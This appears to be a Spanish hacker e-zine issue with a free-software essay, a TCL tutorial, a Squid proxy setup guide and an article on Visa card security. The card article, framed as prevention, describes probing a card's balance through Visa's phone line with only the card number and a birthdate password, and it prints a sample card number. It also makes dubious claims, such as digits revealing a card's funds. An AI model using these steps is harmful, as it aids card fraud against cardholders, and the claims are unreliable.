  entre tcnicos especialistas
 redunda en software  ms confiable y con una
  calidad estructural superior.
 Adicionalmente, es mucho  ms  eficiente la 
  reutilizacin  del  trabajo  de  otros,
 puesto  que  stos  elementos  de 
  software finamente desarrollados y con excelente
 documentacin pueden ser
  adaptados a nuevos proyectos con mucha rapidez.

  Y para los que an se estn preparando, bien sea estudiando o adquiriendo
  experiencia, la mejor manera de  comprender la tecnologa es mirando cmo
  est  construida. El  software  libre  es  la  manera  ms  eficiente  de 
  educarse,
 primero porque est creada por colegas con  la misma motivacin 
  y  segundo
 porque su contenido es enteramente visible y modificable  para 
  experimentar.
  
  Un tcnico que sabe como funciona un servicio X internamente y conoce los
  protocolos utilizados, es  mucho  ms  competente  que  uno que solamente
  sabe instalar  un paquete que funciona como servidor X y que dice cumplir
  los protocolos.

  Pero no todos tenemos preparacin tcnico-cientfica, por el contrario la
  mayora  de  los  usuarios  finales  tienden  a  ver  el software como un 
  instrumento
 de trabajo para hacer negocios de una u otra forma. Para este
  inmenso  grupo
  de  usuarios, usar  software  libre  es  la  decisin ms 
  acertada para hacerse
 dueos de su negocio y aprovechar sus recursos.

  Emplear software libre libera al usuario  de  las presiones y condiciones
  que son usuales en el software  comercial. "Actualice  porque  la versin
  vieja no  es compatible con la nueva", "si, sabemos que hay un error pero 
  no
 se corrige hasta la prxima versin", "no puedes  copiarte el programa 
  a otra
 de tus compaas si no lo pagas", "esa modificacin que quieres no
  se puede
 implementar ahora", "usted  no  tiene  contrato de mantenimiento 
  as que no le
 podemos dar soporte", son expresiones comunes del proveedor 
  que  tuvo  la
  fortuna  de  capturar al  cliente y lo mantiene sometido a 
  travs  del  software 
 comercial  y  cerrado  que  le vendi. Al  emplear 
  software  libre, el  usuario
 adquiere la libertad de escoger no solamente 
  la aplicacin particular  que se
 adapte a sus necesidades sino tambin al
  proveedor que le va a ofrecer  el
  servicio  de  la manera ms adecuada y 
  eficiente.

  Y no deja de ser importante el notable ahorro: ya  no  hay  que pagar por
  licencias,  royalties,  derechos de uso ni ningn otro tipo de tarifa que 
  los
 proveedores comerciales imponen para asegurarse la "fidelidad obligada"
  del
 cliente  y  un  constante flujo  de  caja. El  software  libre  no es 
  solamente
 gratis, sino  que  su  libertad  extiende  al  uso  irrestricto 
  cuantas veces se
 quiera y sin  tener  que  enterar  a  nadie. Ms y mejor 
  software, al menor
 precio posible y que adems pone al usuario en control 
  de su parque
 tecnolgico...

  Para los usuarios que adems son empresarios, el software que utilizan es
  crtico para su negocio y por eso deben controlarlo. Debe  resultar claro
  que al utilizar software comercial, ste es controlado por  el proveedor,
  por  lo  tanto  el usuario no controla enteramente su propio negocio sino 
  que
 depende de los caprichos del proveedor, que puede "apretar el cuello"
  del
  cliente  de  muchas  maneras. Usar  software  libre  es  el antdoto 
  perfecto.

  Los standards existen para asegurar la compatibilidad e interoperabilidad
  de tantos y variados sistemas  en  uso, y generalmente estn expuestos en
  excelentes  documentos... pero   cmo   estar  seguro  si  el  proveedor 
  realmente
 los respeta? Con el software  libre no hay duda: se inspecciona 
  el cdigo y
 se sabe a ciencia cierta. As, el software libre hace que los 
  standards se
 reflejen en aplicaciones  que  funcionan y no en cascadas de 
  acrnimos  puestos
  en  fino material de mercadeo. La  Internet  funciona 
  gracias a que standards
 como TCP/IP, DNS, HTTP y FTP fueron implementados
  en  software  libre  a  la
 vista de todos. Y si todo el mundo respeta los 
  standards  alcanzados  de
  comn  acuerdo, desaparece el peligro de entes
  monoplicos que controlen a
 la masa de usuarios.

  Y si la aplicacin que yo necesito  no existe? La cantidad  de  software
  libre disponible  permite iniciar y culminar exitsamente un mayor nmero 
  de
 proyectos de desarrollo, apoyado  en  el reso de software previamente
  desarrollado  y  en  la  posibilidad  de exponer la nueva aplicacin a la
  comunidad para que la critique y perfeccione.

  As,  como  usuario, tener  acceso  al  cdigo fuente  asegura  que podr
  sobrevivir  al  proveedor. Por  otro  lado  puede corregir los defectos y
  hacer mejoras a su propio ritmo y  cuando lo necesite, evitando exponerse
  a  los  peligros   de  las  "decisiones estratgicas" del  proveedor  que 
  pretendan
 convertir la  aplicacin  en  algo  "fuera  del standard". Y de 
  paso, si  el
  proveedor  pretende  cobrar  cifras  exhorbitantes  por  el 
  servicio... lo cambia
 por cualquier otro o desarrolla experticia  propia. 
  Razones suficientes para
 que como  usuario se exija al proveedor entregar 
  software abierto y libre,
 que no esconda  funcionalidad ni cdigo, porque 
  de otro modo est en juego
 el destino del negocio propio.

  La larga historia de negativas experiencias  con  el software comercial y 
  la
 obvia preocupacin de los proveedores  comerciales  que ven atacado su 
  nicho
  de  negocio, han  llevado a  usuarios, "tcnicos" y  negociantes a 
  levantar
  varios mitos en  cuanto  al software libre: "es  inseguro", "el 
  costo total
 de propiedad se eleva" y "nos  vamos a quedar  sin trabajo si 
  todo  el
 software  es  libre". Son  slo  mitos,  algunos  fruto   de  la 
  ignorancia y otros
 de la malicia, de los cuales  hablaremos en un prximo 
  artculo.
  
  
--EOF--



-[ 3x10.txt ]----------------------------------------------------------------
-[ Articulos Varios ]---------------------------------------------[ Varios ]-
-----------------------------------------------------------------------------

[++] 3x10a.txt


                                      -------------------------[ 3x10a.txt ]
                                      --------------[ Mini-Tutorial de TCL ]
                                      ---[ MindLock - mindloco@tutopia.com ]


   =======IMPORTANTEIMPORTANTEIMPORTANTEIMPORTANTEIMPORTANTE============== 
    Este tutorial esta basado en el Manual de TCL de la Universidad De 
    Oviedo y si de verdad te dan ganas de aprenderlo puedes entrar en 
    http://www.etsimo.uniovi.es/sciguo/ y encontrarlo completo esto es solo 
    una introduccion y algunas cositas del TCL. Ok asi ke no kiero Spam ni 
    ke me ladillen. 
   =======IMPORTANTEIMPORTANTEIMPORTANTEIMPORTANTEIMPORTANTE============== 


  Hola gente soy Mindlock de Xaker Team (propaganda) y aqui esta la primera
  parte de este pequenio cursillo de programacion en TCL que es un lenguaje
  interpretado   multiplataforma  creado  por  John  K.  Ousterhout  en  la
  Universidad de California. Actualmente es mantenido su desarrollo por Sun
  Microsystems Laboratories liderado por el propio Ousterhout (creo que asi
  se escribe =P ).

  Para comenzar a programar en TCL necesitaras de lo siguiente:

  - Una computadora ( yo se que la cague).
  - Algun sistema operativo como Windows o algun UNIX para el cual se
    encuentre disponible el Tcl.
  - Bajarte el Tcl/Tk (Tk es la extension mas conocida para  Tcl creada por
    el  propio  Ousterhout  que  permite  la  creacion  de  menus, botones,
    ventanas, scrollbars y todas esas vergas de las ventanas de Windows).

  Ademas  un  interpretador  para  Windows que es facil de usar  que  el de
  Command Prompt de MS-DOS llamado wish.

  El  Tcl/Tk  te  lo puedes bajar de http://www.etsimo.uniovi.es/pub/tcl en
  algunas de sus versiones para Windows o UNIX.


  Ventajas del TCL:
  -----------------

   - Sencillez en la programacion.
   - Rapidez en el desarrollo de aplicaciones.
   - Gran velocidad comparado con otros lenguajes semejantes.
   - Multiplataforma.
   - Casi todas las extensiones son gratuitas.
   - En este lenguaje es que se hacen los scripts para eggdrop (Para los IRC
     Freaks =) ).

  Desventajas del TCL:
  --------------------

   - Necesitaras el interprete para ejecutar las aplicaciones.
   - Dificilmente  detectas  los  bugs  en  las aplicaciones debido a que el
     interprete solo traduce el codigo que ejecuta pudiendo quedar partes de
     codigo sin revisar porque el interprete nunca las haya ejecutado.
   - Muy lento comparado con los lenguajes compilados.


   Okidoky...


  Sintaxis Basica de los comandos TCL:
  ------------------------------------

  La sintaxis de los comandos es "comando <argumento1> <argumento2>.."

  El primer comando que haremos sera imprimir en la pantalla "Xaker Rulz!!",
  Seria asi:

                           |----------------------|
                           | % puts "Xaker Rulz!!"|
                           |Xaker Rulz!!          |
                           | %                    |
                           |----------------------|

  En este ejemplo solo se ha escrito la cadena Xaker Rulz.... no se.. queria
  poner eso =PPP...


  Variables:
  ----------

  Para  asignar  valores a las variables se usa el comando set, este comando
  usa dos argumentos que son el nombre de la variable y el valor de la misma.

  Tambien se le puede dar a una variable el valor de otra variable
  establecida previamente en la programacion. Ejemplo:


                           |---------------------|
                           | % set var1 69       |
                           |69                   |
                           | % set var2 $var1    |
                           |69                   |
                           | % set var2 69       |
                           |69                   |
                           |---------------------|


  Para eliminar una variable se usa el comando unset:


                           |--------------|
                           | % unset var1 |
                           |--------------|


  Para  comprobar  si  existe  una  variable  se  usa el comando info con el
  argumento exist, el comando info posee mucha mas capacidad y posibilidades
  pero  por  ahora  como  estamos viendo las variables solo voy a decir este
  argumento. El comando  devolvera  como respuesta 1 si la variable existe y
  como respuesta 0 si la variable es inexistente.


                           |---------------------|
                           | % set var1 69       |
                           |69                   |
                           | % info exists var1  |
                           |1                    |
                           | % unset var1        |
                           | % info exists var1  |
                           |0                    |
                           |---------------------|


  Comentarios, Comillas y Llaves:
  -------------------------------

  Los  comentarios  permiten  hacer  mas  facil la revision del codigo en la
  programacion y revision del codigo. El interprete endendera cada linea que
  comienze con "#" como un comentario.

  El uso de Comillas y Llaves se parecen mucho, las dos sirven para  agrupar
  en  una  cadena  de  texto varias palabras o varios caracteres  o   varios
  caracteres y palabras. La unica diferencia que hay entre  las  comillas  y
  las  llaves  es  que  dentro  de  las comillas se puede llamar variables y
  dentro de las llaves no se puede porque no interpreta el valor de esta.

  Ejemplo:

                           |--------------------------|
                           | % set yo BigLamer        |
                           |BigLamer                  |
                           | % puts "Yo soy un $yo"   |
                           |Yo soy un BigLamer        |
                           | % puts {Yo soy un $yo}   |
                           |Yo soy un $yo             |
                           |--------------------------|


  Expresiones Matematicas:
  ------------------------

  A diferencia de otros lenguajes de programacion en TCL todas las varia son
  del  tipo  de cadena de caracteres. Por lo tanto cuando queramos hacer una
  operacion matematica deberiamos senialarle al interprete que los tome como
  ex presiones matematicas. Esto se logra utilizando el comando "expr" antes
  de una operacion matematica.

  Ejemplo:

                           |------------------------|
                           | % expr 138/2           |
                           |69                      |
                           | % expr 69/2            |
                           |34                      |
                           | % expr 69.0/2          |
                           |34.5                    |
                           | % expr 34.5*2          |
                           |69.0                    |
                           |------------------------|

  Como  podemos  ver  en  este  ejemplo  si  queremos que el resultado de la
  operacion  nos  de  exacto (con  decimales)  debemos  poner  un  punto  en
  cualquiera  de  los  terminos de la operacion. Tambien podemos utilizar en
  las expresiones matematicas los parentesis.


   Ejemplo:
                           |------------------------|
                           | % expr (69.0/2)*2      |
                           |69.0                    |
                           |------------------------|


  Otra caracteristica de TCL es que podemos asignar a una variable  el valor
  de una expresion matematica. Ejemplo:


                           |-------------------------------|
                           | % set sixtynine [expr 34.5*2] |
                           |69.0                           |
                           | % set pi [expr 2*asin(1.0)    |
                           |3.14159                        |
                           |-------------------------------|

  En  ese  ejemplo  observamos  como solo  se muestran cinco decimales en el
  resultado  del  calculo  de pi. Esto se puede modificar ya que TCL soporta
  una  cantidad  de  diecisiete  decimales. Esto  se  logra  modificando  la
  variable  "tcl_precision"  asignandole  un  valor  nuevo  al  que  ya trae
  anteriormente.

  Ejemplo:
                           |----------------------------|
                           | % set tcl_precision 17     |
                           |17                          |
                           | % set pi [expr 2*asin(1.0) |
                           |3.1415926535897931          |
                           |----------------------------|


  Operadores aritmeticos:
  -----------------------

  A continuacion explicare algunos de los operadores aritmeticos que trae el
  TCL y TODAS las funciones matematicas que trae este lenguaje (las funciones
  las  saque  de  la documentacion del  TCL  porque  me da demasiada ladilla
  escribirlas todas):

  *, / , %     :   Multiplicacion, Division, Porcentaje o resto.
  +, -         :   Adicion, sustraccion.
  < >, <= , >= :   Comparacion menor que , mayor que, menor o igual , mayor
                   o igual
  == , !=      :   Igual, no igual.
  acos( x )    :   ArcoCoseno de x.
  asn( x )     :   ArcSeno de x.
  atan( x )    :   Arcotangente de x.
  atan2( y,x ) :   De rectangulares ( x,y ) a polares (r, th ). atan2
                   devuelve th.
  ceil ( x )   :   Primer valor entero mayor o igual que x.
  cos( x )     :   Coseno de x.
  cosh( x )    :   Coseno hiperbolico de x.
  exp( x )     :   Exponencial de x.
  floor( x )   :   Primer valor entero menor o igual que x.
  fmod( x, y ) :   Valor en coma flotante resto de x/y.
  hypot( x, y ):   Devuelve sqrt(x*x + y*y).
  log( x )     :   Logaritmo natural de x.
  log10( x )   :   Logaritmo en base 10 de x.
  pow( x,y )   :   x elevado a y.
  sin( x )     :   Seno de x.
  sinh( x )    :   Seno hiperblico de x.
  sqrt( x )    :   Raiz cuadrada de x.
  tan( x )     :   Tangente de x.
  tanh( x )    :   Tangente hiperbolica de x.
  abs( x )     :   valor absoluto de x.
  double( x )  :   Convierte a x en un valor en coma flotante.
  int( x )     :   Trunca x a un entero.
  rand()       :   Genera un numero aletario entre 0 y 1. la semilla puede
                   venir del reloj o inicializarse mediante srand.
  round( x )   :   Redondea x a un entero.
  srand(arg)   :   Donde arg debe de ser un entero. Inicializa la semilla
                   para la generacion de numeros aleatorios.


  Bueno  gente esto es todo por ahora espero  que  me den ganas de escribir
  la siguiente parte de este cursillo para avanzar un poco en este lenguaje
  de  programacion y tal. Esto fue solo una introduccion al lenguaje por lo
  tanto  los  gurus  no  me  vayan  (o vallan o como sea) a reclamar por lo
  sencillo del tutorial.


  By: MindLock <mindloco@tutopia.com>
      Xaker Team - http://www.xakercental.com

[--]


[++] 3x10b.txt

                                  -----------------------------[ 3x10b.txt ]
                                  -----------[ Montando un Proxy con Squid ]
                                  --[ Mr. kl0nk Manson - kl0nk@uole.com.ve ]


  Indice:
  -------
  1. Que es un Servidor Proxy?
  2. Squid Proxy.
     a.- Los Puertos a usar.
     b.- Cache a usar.
     c.- Los directorios.
     d.- El Dolor de Cabeza de todos, los ACL (Lista de Control de Acceso)
     e.- Hostname y Email
     f.- Usuario y Grupo 
  3. Conclusiones.
  

  Introduccion
  ------------
  
  Este  texto  fue escrito  para  complementar  el articulo de "Montando una 
  Intranet con Linux" que se encuentra en la segunda edicion de esta revista
  electronica.
  
  El fin de este  paper  es  ense~arles  basicamente  como trabaja un proxy,
  ventajas, desventajas, etc. Y Ademas de ello se explicara como configurar
  basicamente un proxy bajo Linux (Squid).
  
  
  Que es un Servidor Proxy?
  -------------------------
  
  Basicamente  es  un  programa  en  el  servidor que centraliza el acceso a
  internet  a  una red  de  computadores, es  decir, nos sirve como "puente"
  para  que puedan salir hacia la inet una red local de computadores. Bueno,
  o necesariamente, pero esta es una de las funcionalidades que le dan mas a
  un proxy.
  
  Su  funcion  pricipal (aparte  de  la anterior descrita) es hacer cache de
  Internet, es  decir, ahorrar   ancho  de  banda  y  conexions  a  internet
  inecesarias.
  
  El  concepto  de  cache se  puede  definir  como basicamente  una  memoria
  transparente, a la cual podemos acceder cuando lo deseamos. En el caso del
  proxy  es  guardar  la  informacion  que hemos bajado, por ejemplo, fotos,
  paginas  de  hypertexto, videos, etc. Luego  si  llegacemos a necesitar de
  nuevo  esta  informacion, ya  no necesitariamos  volverlas  a  bajar  sino
  simplemente accederiamos a ese cache.
  
  Por  ejemplo: Tenemos  10  Maquinas  en  nuestra red local en la cual sale
  a  internet  por  mediante  una  sola  (Usando  Masquerade  y  sin proxy),
  entonces  el cliente  Numero 1 hace un llamado a atravez de su navegador a
  http://president.dead.com, se  baja  unas  foticos  de  kenedy  y todo eso
  pero  llega  luego  y  le  pasa el dato que hay unas foticos requetechulas
  en esa web  al  amigo que esta en la maquina Numero 4, entonces  el  amigo
  entra a http://president.dead.com y se baja las foticos, ahora la pregunta
  de los Mil Millones, cuanto tiempo espero para que le bajaran las foticos?,
  Bueno  eso  depende de  la maquina y del ancho de banda que tengan pero si
  ellos  usaran  un Proxy  no  seria mas rapido?, pues claro, el amigo de la
  maquina Numero  4  no tendria  que  esperar  tanto, solo  escribiria en su
  browser  http://president.dead.com  y  pufff, mas rapido que imediatamente
  le cargaria el site con todas las cosas, fotos y demas cuestiones.
  
  NOTA: Yo creo, no lo se todavia si existe el sitio http://president.dead.com 
        es solo un invento de mi gran imaginacion.
	
  Tambien  hay  que  denotar de  un  proxy automaticamente  comprueba si las
  paginas  que  estan  guardadas  en el cache han  cambiado, y  si es asi el
  automaticamente se baja la actualizacion con todo los detalles.
  
  Otra  de las grandes funciones del proxy es bloquear sitios  NO PERMITIDOS
  (Administradores, si se pueden  bloquerar sitios  pero  ahorita le doy  el 
  tips ... Users Friendly's, no  se  molesten comingo por esto, yo se que es 
  feo cuando una va  a  visitar una web y le sale el mamarro abiso "Usted no 
  esta autorizado para ver esta pagina ... por favor contacte con .. bla bla
  bla bla" a mi me ha sucedido tambien, pero bueno, que se le va a hacer.
  
  
  Squid Proxy
  -----------
  
  Es  el  que  yo  utilizo, me  gusta mucho porque  es  facil  de  trabajar y
  configurar y por lo tanto voy a orientar este texto en el.
  

  Para configuarlo, necesitamos saber las siguientes cositas:
  
  a.- Los Puertos a usar.
  
  Normalmente los puertos a usar son el 8080 o el 3128 (para el http_port) y
  el 3130 (icp_port), eso lo configuramos a nuestro gusto.


 b.- Cache a usar.
 
 Tenemos  que  definir cuanta de memoria cache vamos a usar, yo normalmemnte
 lo  tengo  con  32 MB, si  no le indicamos nada el por default tomara 8 MB.

 Tambien hay  que acotar que hay que indicarle a la variable  cache_swap_low
 un  porcentaje y a cache_swap_high otro, esto es para que cuando este lleno 
 el  autotomaticamente  empiece  a  borrar los archivos mas viejos y deje en
 cache a los mas nuevos. Por defecto uso a cache_swap_low con un valor de 90
 y a cache_swap_high con  un  valor de 95. Para indicar un tama~o maximo que 
 puede  tener  un objeto para que lo cachee, colocamos a maximum_object_size 
 con un valor de 8192 KB.


 c.- Los directorios.
 
 Son  donde  vamos  a  guardar  nuestra  informacion,  tambien  tenemos  que
 especificar  el  directorio  de Historial, etc. Por default utilizo a estos
 directorios de la siguiente forma:
 
  cache_dir 	ufs 	  /var/spool/squid 100 16 256
  cache_access_log        /var/log/squid/access.log
  cache_log               /var/log/squid/cache.log
  cache_store_log         /var/log/squid/store.log
 
 NOTA: Esto  depende  a donde este instalado el squid, en  muchos  casos, el
       directorio  a usar es /usr/local/squid/*



 d.- El Dolor de Cabeza de todos, los ACL (Lista de Control de Acceso)

 Nos  es  mas  que  la lista de control  de  acceso a nuestro cache, debemos
 especificar  un  tipo  de "Variable" y  a  ella  dependiendo  de  una regla
 vamos a aceptar o denegar conexiones a nuestro cache. Por ejemplo:
 
 acl manager             proto  cache_object
 acl localhost           src    127.0.0.1/255.255.255.255
 acl all	         src    0.0.0.0/0.0.0.0
 acl red       	 	 src    192.168.0.0/255.255.255.0
 
 Donde tenemos que definir el acceso a nuestro localhost. all es toda la red
 y red es nuetra red local, con su respectivos parametros desde que Ip a que
 ip va a tener acceso. Luego podemos definir si estas IP's va a tener acceso
 al proxy con:

 http_access             deny   manager all
 http_access             allow  red
 
 Con  esto  especificamos  reglas  de  acceso, a  "all" (que  es la inet) le
 denegamos  el  acceso  a  nuestro cache, y a nuestra red interna  le  damos 
 acceso a el. (Esto es para el caso de http), tambien hay para el icp y es:

 icp_access              deny   all
 icp_access              allow  red

 Para  denegar sitios  web's simplemente creamos una regla tanto para el icp 
 como para  el http, para  ello podemos crear un archivo y alli almacenar la
 lista de sitios web e ip's a denegar. La regla a utlizar es la siguiente:
 
 acl bad_urls  	 	 dst    "/etc/squid/bad"
 http_access             deny   bad_urls
 icp_access              deny   bad_urls
 
 Donde bad es el archivo donde se guardaran los sitios no permitidos.
 

 e.- Hostname y Email
 
 Aqui definimos nuestro dominio y el correo del administrador  del  sistema,
 y es:
 
 visible_hostname        tu-dominio.com
 cache_mgr               root@tu-dominio.com


 f.- Usuario y Grupo 
 
 Con  esto  le  decimos  al  squid que corra como un usuario en  el sistema,
 podemos  utilizar  como  usuario  a  nobody y como grupo  a nogroup  o como
 usuario  y  grupo a squid, que son usuarios sin privilegios  en  el sistema
 (esto es por seguridad). Por ejemplo.
 
 cache_effective_user    squid
 cache_effective_group   squid
    
 Bueno, ya  con esto hemos creado un proxy basico  para  nuestra  red local,
 si quieres  profundizar  mas  sobre  el tema pues te recomiendo que visites
 el sitio de http://www.squid-cache.org o la documentacion que trae el squid
 cuando lo instalas.
  

 3.- Conclusiones
  
 Bueno, esto  es  todo sobre  este  articulo, espero que les sirva  de algo,
 cualquier  duda  me  escriben  a mi  email y con gusto les respondere. Pero
 antes  de  finalizar les  dejo aqui  un  peque~o archivo  de  configuracion
 para que lo prueben. Por Favor respetar el CopyRight.


[--]


[++] 3x10c.txt

                                 -------------------------------[ 3x10c.txt ]
                                 -[ Seguridad en Tarjetas de Credito -Visa-
]
                                 --------------------------------[ KeRuBin ]


  Indice:
  1. Disclaimer.
  2. Copyright.
  3. Introduccion.
  4. Desarrollo.
  5. Conclusion.


  1. Disclaimer
     ----------

  La informacion que contiene este texto, fue preparado con el fin netamente
  informativo y educativo. El hecho de que alguien use mal esta edicion, no
  es responsabilidad de 70 Semanas, KeRuBiN, o de quien desee incluirlo en
  sus Sitios Web. La idea de realizar este documento es prevenir a los
  usuarios de tarjetas de credito sobre las vulnerabilidades del sistema. Si
  te queres mandar cualquiera con esto y quedas pegado, es tu
  responsabilidad.


  2. Copyright
     ---------

  Ya todos saben como se manejan los derechos de autor, simplemente
  autorizo incluir este texto en los sitios que quieran, siempre y cuando
  "no modifique" absolutamente nada de lo escrito aqui y siempre citen la
  fuente.


  3. Introduccion
     ------------

  Les voy a mostrar como trabaja una tarjeta de credito:

  * Como se clasifican las tarjetas de credito?

    Las tarjetas de credito se clasifican segun distintos criterios:

    - El tipo de titular 
    - Tarjetas individuales 
    - Tarjetas corporativas o empresariales 
    - Tarjetas industriales 

   Segun la funcionalidad del producto>
   - Tarjetas de compra 
   - Tarjetas de compra y credito 
   - Tarjetas multiples (compra, credito y debito) 

   Segun la cobertura geografica o regionalizacion
   - Tarjetas internacionales 
   - Tarjetas nacionales 
   - Tarjetas regionales 

   Segun los servicios o los limites de compra
   - Clasicas
   - Gold
   - Platinum


  1. Tipo de titular
     ---------------
  Las tarjetas individuales son personales e intransferibles y el unico
  autorizado a utilizarlas es el titular.


  Las tarjetas corporativas o empresariales cubren las necesidades del
  personal de las empresas. En este caso el sujeto del credito es la empresa
  y sus empleados son los titulares autorizados.

  Las tarjetas industriales dan seguridad a las operaciones de compras
  institucionales que efectuan las empresas a proveedores de distintos
  insumos. Un ejemplo de estas tarjetas es la emitida por el Banco de la
  Nacion Argentina llamada Agronacion que esta orientada a financiar
  insumos de establecimientos agropecuarios.


  2. Funcionalidad del producto
     --------------------------

  La tarjeta de compra suplanta momentaneamente al efectivo, al vencimiento
  del resumen de cuenta tenes que pagar la totalidad de tus compras. La
  funcion de credito es transitoria.


  La tarjeta de compra y credito le suma a la anterior la posibilidad de
  financiar los consumos. El poseedor, solo esta obligado a pagar parte de
  sus compras, el llamado monto minimo, y puede financiar el monto restante
  segun lo pactado con el emisor.

  La tarjeta multiple reune las funciones de compra, credito y debito.
  Incluye la posibilidad de utilizar los cajeros automaticos y otras
  terminales electronicas. Por medio de esta tarjeta podes, con la funcion
  de debito, girar contra el limite de compra de tu tarjeta, retirando
  adelantos en efectivo de los cajeros automaticos, o contra fondos
  disponibles en tu cuenta corriente o caja de ahorro.


  3. Cobertura Geografica
     --------------------
  Las tarjetas internacionales pueden utilizarse en todos los paises en que
  la marca tenga presencia. En nuestro pais, pertenecen a este grupo
  American Express, Diners, Visa y Mastercard.

  Las tarjetas nacionales tienen cobertura en todo el territorio nacional.
  Pertenecen a este sector marcas tales como Cabal, Carta Credencial, Carta
  Franca, Lider, Visa Nacional y Mastercard Nacional. Estas dos ultimas en
  su acepcion de producto exclusivamente nacional.

  Las tarjetas regionales: a este subgrupo pertenece una gran cantidad de
  tarjetas emitidas por distintas empresas de localidades del interior del
  pais y que, por lo general, cubren un reducido territorio.


  4. Servicios y los limites de compra
     ---------------------------------

  Las tarjetas de credito se clasifican en Clasicas, Gold y Platinum. Estas
  dos ultimas poseen mayores beneficios que una tarjeta clasica en cuanto a:
  los servicios otorgados a sus usuarios, como por ejemplo: acceso a salones
  VIP en Aerpuertos, seguro sin costo para alquiler de automoviles en el
  exterior, servicios telefonicos exclusivos para socios de este tipo de
  tarjetas, etc.

  Los limites de compra son superiores a los de las tarjetas clasicas o, en
  algunos casos ilimitados.

  (tnx dineronet.com por el aporte)


  5. Desarrollo
     ----------

  Algo que me ha llamado la atencion es la confianza de los usuarios de
  tarjetas de credito en sus respectivas compa~ias. Hay varios puntos que
  voy a remarcar para prevencion.

  Primero, para autorizar cualquier tipo de operacion necesitamos (en
  Argentina) los 16 numeros de la tarjeta, la fecha de vencimiento y el pin
  o codigo de seguridad que esta en la parte de atras del plastico a la
  derecha de la firma. Osea tres datos de los cuales uno es secreto aun para
  el personal bancario. Bien, pero esto es solo para nuestro pais, notara
  que para comprar algun libro por ejemplo en otro pais como USA, no
  necesita el pin (que es el dato secreto que tienen las tarjetas), lo que
  hace mucho mas facil el hecho que alguien pueda cometer fraude con nuestra
  tarjeta de credito.

  Segundo, mas facil es todavia cuando se puede saber los datos del titular
  de la tarjeta y los montos que maneja la misma. Los medios para conocer
  estos datos no es algo dificil, por el contrario puede llegar a ser algo
  relativamente facil para alguien con conocimientos o con la ayuda de bases
  de datos como las que se vende en la calle. Por ejemplo, sin saber
  absolutamente nada del titular, un hacker podria conocer el monto solo
  con tener los 16 numeros de la tarjeta, llamando al numero de VISA, lo
  atendera una computadora pidiendo los numeros, si una ves tipeados nos
  da el monto, es porque es menor de 1000 pesos, pero si nos pide clave
  es porque tiene mas. De todas formas, si nos pide clave, viene una
  gravisima vulnerabilidad de VISA... es la fecha de nacimiento del
  titular (dia-mes). Cuidado, esta clave no es el numero de pin!
  sino una clave privada para control o administracion de la misma,
  no para autorizar compras. Una ves dentro podrian saber cuanto
  tiene disponible, si es o no internacional, los ultimos movimientos,
  etc. Para conocer los datos, se venden en la calle unas bases de
  dato, como por ejemplo la de obras sociales que contienen todos los
  datos de titulares de tarjetas de credito.

  Tercero, tambien es facil deducir cuanto tiene disponible o que tipo de
  tarjeta es solo mirando los numeros: por ejemplo,

  4575 9600 0062 6524

  No voy a entrar en detalles de los numeros, pero si puedo decir que los
  primeros 4 numeros demuestran que tipo de tarjeta es, de que banco, los
  segundos cuatro numeros nos demuestran de que sucursal pertenece la
  tarjeta y lo mas importante son los terceros cuatros numeros que
  demuestran aproximadamente cuando tiene de fondos dicha tarjeta.

  Si cuando empiezan el tercer grupo de cuatro numeros tiene un cero (0)
  tiene un fondo de hasta 2000 dolares aprox. Si tiene dos ceros (00) tiene
  hasta 5000 dolares, y asi sucesivamente. Ahi te das cuenta si es clasica,
  Gold, etc.

  Lo que les explique, es para entender algunas fallas del sistema, pero
  igualmente el hecho que nos saquen los datos de nuestra tarjeta puede ser
  un error humano o logico (dependiendo del sistema operativo que usemos
  hehehe) Con esto quiero decir que no guardes datos importantes en tu pc,
  direcciones, telefonos, dni, etc. La razon? Sistemas operativos como
  Windows tienen muchas vulnerabilidades, es mas el hecho que instales el
  sistema operativo ya hace que tengas puertos abiertos en tu pc por lo que
  podrian acceder terceros. Visita y fijate si tenes puertos abiertos.

  Tenes que tener cuidado tambien con los archivos adjuntos en los mails
  porque podrian ser troyanos que permiten el acceso remoto a tu pc. Por
  ultimo, saca los spywares que tiene tu maquina (vienen en los programas
  gratuitos) que te logean informacion. Todo esto lo digo en caso que tengas
  en tu pc datos de tu tarjeta de credito, cuentas bancarias, etc. Te
  cuento una ilustracion, una persona te envia un mail con un archivo
  adjunto, vos lo ejecutas y te infectas con un troyano. El atacante entra
  a tu pc, te saca los datos de tu tarjeta, desde tu pc se dirije a un site
  de ventas on line, te gasta 2000 dolares en una notebook, y encima queda
  registrado tu ip (tu identificacion en internet) asi que tenes que pagar!
  Tenes que hacerlo porque queda registrado tu IP, que una ves consultado
  el servidor, les da el numero de telefono desde donde se llevo a cavo la
  operacion, al ser el de tu casa, no tenes escapatoria.

  Ahora, si tenes la pc protejida, solo te resta tener cuidado con los
  negocios, o tiendas que lamentablemente son complices de personas que
  duplican tarjetas de credito, abajo te voy a dar unas recomendaciones al
  respecto. Fuera de esto, les digo a los usuarios de tarjetas que no te
  preocupes por los programitas que andan dando vuelta por ahi que, no digo
  que no sirven, sino que nunca van a generar "tu" tarjeta. Que algo quede
  claro: Los bancos autorizan por los numeros, pero los SSL comprueban los
  datos del titular por lo que, si son incorrectos, en muchos sitios no van
  a poder comprar. Por Ej. con un dato de tarjeta podras comprar un
  adultcheck aunque le mandes cualquier nombre, pero no registrar un soft
  que te pide los datos verdaderos.

 
  Recomendaciones:

  Bueno, primero, quiero que quede claro que tampoco tenes que andar con una
  9mm a la cintura por el hecho que tenes tarjeta de credito, pero si podes
  tomar una serie de recomendaciones para proteger la misma.

  Para los usuarios:

  1. No uses cupones. Es una de las formas que mas fraudes se realizan, Si
     el posnet no anda, compra en otro lado, pero no los uses.
  2. La clave para acceder a la tarjeta (que es dia-mes de tu nacimiento)
     cambiala urgente!.
  3. Si llama alguien haciendose pasar lo regalos empresariales o cualquier
     otra empresa que solicita tu fecha de nacimiento para enviarte un
     regalo. Por favor no se lo des. Igualmente no creo que alguien llame
     pare regalarte una casa, un auto y 50 lucas ;)
  4. No entregues el plastico en restaurantes cuando salgas a comer con tu
     esposa o amante. Generalmente no queremos pasar por super desconfiados
     y asi nos matan la tarjeta.
  5. Si no me hiciste caso y compras con cupones en algun local, que lo haga
     delante tuyo, porque muchos tienen por costumbre llevarlos a un cuarto
     aparte y te duplican la tarjeta, osea, no ponen un juego de hojas del
     banco, sino varias.
  6. Trata de usar la tarjeta en los mismos negocios, porque en caso que
     tengas un problema ya sabes de donde se ocasiona.
  7. Controla los movimientos periodicamente para saber si alguien te esta
     usando la tarjeta.
  8. Si te sacaron los datos de tu tarjeta y te llega el resumen, NO LO
     PAGUES, para eso tenes un seguro de $4 por mes que pagas.
